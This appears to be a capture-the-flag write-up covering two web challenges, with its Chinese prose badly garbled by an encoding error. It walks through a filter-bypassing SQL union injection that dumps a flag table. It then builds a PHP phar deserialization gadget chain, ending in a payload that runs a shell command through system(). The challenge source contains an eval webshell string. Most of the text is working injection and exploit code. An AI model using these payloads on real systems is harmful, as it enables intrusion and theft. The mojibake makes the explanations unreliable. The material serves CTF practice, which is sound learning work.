ๆญคๆ—ถๅ›žๆ˜พๅนถๆฒกๆœ‰ๆ็คบๅญ˜ๅœจ้žๆณ•ๅญ—็ฌฆ๏ผŒๅฏไปฅๆŽจๆ–ญๅ‡บ่ฟ‡ๆปคไบ† = ๅ’Œ ็ฉบๆ ผ ใ€‚

ๆž„้€  Payload ๅฆ‚ไธ‹

wllm=1'/**/order/**/by/**/1%23
wllm=1'/**/order/**/by/**/2%23
wllm=1'/**/order/**/by/**/3%23
wllm=1'/**/order/**/by/**/4%23

ๅˆฐ 4 ๆ—ถๅ‡บ็ŽฐๆŠฅ้”™๏ผŒๅ› ๆญค้•ฟๅบฆไธบ 3 ใ€‚

ๆž„้€  Payload ๅฆ‚ไธ‹

wllm=-1'/**/union/**/select/**/1,2,3%23

ๅฏไปฅๅ‘็Žฐ 2,3 ๆœ‰ๅ›žๆ˜พ๏ผŒๆž„้€  Payload ๅฆ‚ไธ‹

wllm=-1'/**/union/**/select/**/1,database(),3%23

ๅฏไปฅๅพ—ๅˆฐๆ•ฐๆฎๅบ“ๅ test_db ๏ผŒๆž„้€  Payload ๅฆ‚ไธ‹

wllm=-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'test_db'),3%23

ๅฏไปฅๅพ—ๅˆฐ่กจๅ LTLT_flag, users ๏ผŒๆž„้€  Payload ๅฆ‚ไธ‹๏ผˆๆ’ๆ›ฒ๏ผšๅ‘็Žฐ and ไนŸ่ขซ่ฟ‡ๆปคไบ†๏ผ‰

wllm=-1'/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/'test_db'),3%23

ๅฏไปฅๅพ—ๅˆฐๅˆ—ๅ id, flag, id, username ๏ผŒๆž„้€  Payload ๅฆ‚ไธ‹

wllm=-1'/**/union/**/select/**/1,(select/**/flag/**/from/**/LTLT_flag/**/limit/**/0,1),3%23

ๅฏไปฅๅพ—ๅˆฐ NSSCTF{aeb148da-5efa ๏ผŒๅฏไปฅ้€š่ฟ‡ mid() ๆฅ่Žทๅ– flag ็š„ๅ…ถไป–้ƒจๅˆ†๏ผŒๆž„้€  Payload ๅฆ‚ไธ‹

wllm=-1'/**/union/**/select/**/1,mid((select/**/flag/**/from/**/LTLT_flag/**/limit/**/0,1),21),3%23
wllm=-1'/**/union/**/select/**/1,mid((select/**/flag/**/from/**/LTLT_flag/**/limit/**/0,1),40),3%23

ๅฏไปฅๅพ—ๅˆฐ -430e-961b-ab03b3fb ๅ’Œ 2d32} ๆ‹ผ่ตทๆฅๅฐฑๆ˜ฏ flag ไบ†ใ€‚

babyunser

่ฟ›ๅ…ฅ้ข˜็›ฎๅŽๅฏไปฅ็œ‹่ง ไธŠไผ ๆ–‡ไปถ ๅ’Œ ๆŸฅ็œ‹ๆ–‡ไปถ ไธคไธชๅ…ฅๅฃ๏ผŒ็ป่ฟ‡ไธ€็•ชๆ‘ธ็ดขๅŽ๏ผŒๅœจ ๆŸฅ็œ‹ๆ–‡ไปถ ๅค„่พ“ๅ…ฅ read.php ๅฏไปฅ็œ‹ๅˆฐ่ฏฅๆ–‡ไปถ็š„ๆบไปฃ็ ๏ผŒๅฏไปฅๅ‘็Žฐ่ฟ˜ๅญ˜ๅœจไธ€ไธชๆ–‡ไปถ class.php ๅฆ‚ไธ‹

<?php
class aa{
    public $name;

    public function __construct(){
        $this->name='aa';
    }

    public function __destruct(){
        $this->name=strtolower($this->name);
    }
}

class ff{
    private $content;
    public $func;

    public function __construct(){
        $this->content="\<?php @eval(\$_POST[1]);?>";
    }

    public function __get($key){
        $this->$key->{$this->func}($_POST['cmd']);
    }
}

class zz{
    public $filename;
    public $content='surprise';

    public function __construct($filename){
        $this->filename=$filename;
    }

    public function filter(){
        if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
            die('่ฟ™ไธๅˆ็†');
        }
    }

    public function write($var){
        $filename=$this->filename;
        $lt=$this->filename->$var;
        //ๆญคๅŠŸ่ƒฝๅบŸๅผƒ๏ผŒไธๆƒณๅ†™ไบ†
    }

    public function getFile(){
        $this->filter();
        $contents=file_get_contents($this->filename);
        if(!empty($contents)){
            return $contents;
        }else{
            die("404 not found");
        }
    }

    public function __toString(){
        $this->{$_POST['method']}($_POST['var']);
        return $this->content;
    }
}

class xx{
    public $name;
    public $arg;

    public function __construct(){
        $this->name='eval';
        $this->arg='phpinfo();';
    }

    public function __call($name,$arg){
        $name($arg[0]);
    }
}

้“พๅญๅฆ‚ไธ‹

<?php
class aa{
  public $name;

  public function setName($name)
  {
    $this->name = $name;
  }

  public function __construct(){
    $this->name='aa';
  }

  public function __destruct(){
    $this->name=strtolower($this->name);
  }
}

class ff{
  private $content;

  public function setContent($content)
  {
    $this->content = $content;
  }
  public $func;

  public function setFunc($func)
  {
    $this->func = $func;
  }

  public function __construct(){
    $this->content="\<?php @eval(\$_POST[1]);?>";
  }

  public function __get($key){
    $this->$key->{$this->func}($_POST['cmd']);
  }
}

class zz{
  public $filename;

  public function setFilename($filename)
  {
    $this->filename = $filename;
  }
  public $content='surprise';

  public function __construct($filename){
    $this->filename=$filename;
  }

  public function filter(){
    if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
      die('่ฟ™ไธๅˆ็†');
    }
  }

  public function write($var){
    $filename=$this->filename;
    $lt=$this->filename->$var;
    //ๆญคๅŠŸ่ƒฝๅบŸๅผƒ๏ผŒไธๆƒณๅ†™ไบ†
  }

  public function getFile(){
    $this->filter();
    $contents=file_get_contents($this->filename);
    if(!empty($contents)){
      return $contents;
    }else{
      die("404 not found");
    }
  }

  public function __toString(){ // L10
    $this->{$_POST['method']}($_POST['var']);
    return $this->content;
  }
}

class xx{
  public $name;
  public $arg;

  public function __construct(){
    $this->name='eval';
    $this->arg='phpinfo();';
  }

  public function __call($name,$arg){
    $name($arg[0]);
  }
}

$aa = new aa();
$ff = new ff();
$xx = new xx();
$ff->setContent($xx);
$ff->setFunc('system');
$zz = new zz($ff);
$aa->name = $zz;

$phar = new Phar('1.phar');
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($aa);
$phar->addFromString("test.txt", "text");
$phar->stopBuffering();

Payload ๅฆ‚ไธ‹

file=phar://upload/25cb04b89bbe7007013ec2171ab27333.txt&method=write&var=content&cmd=cat /flag

Last updated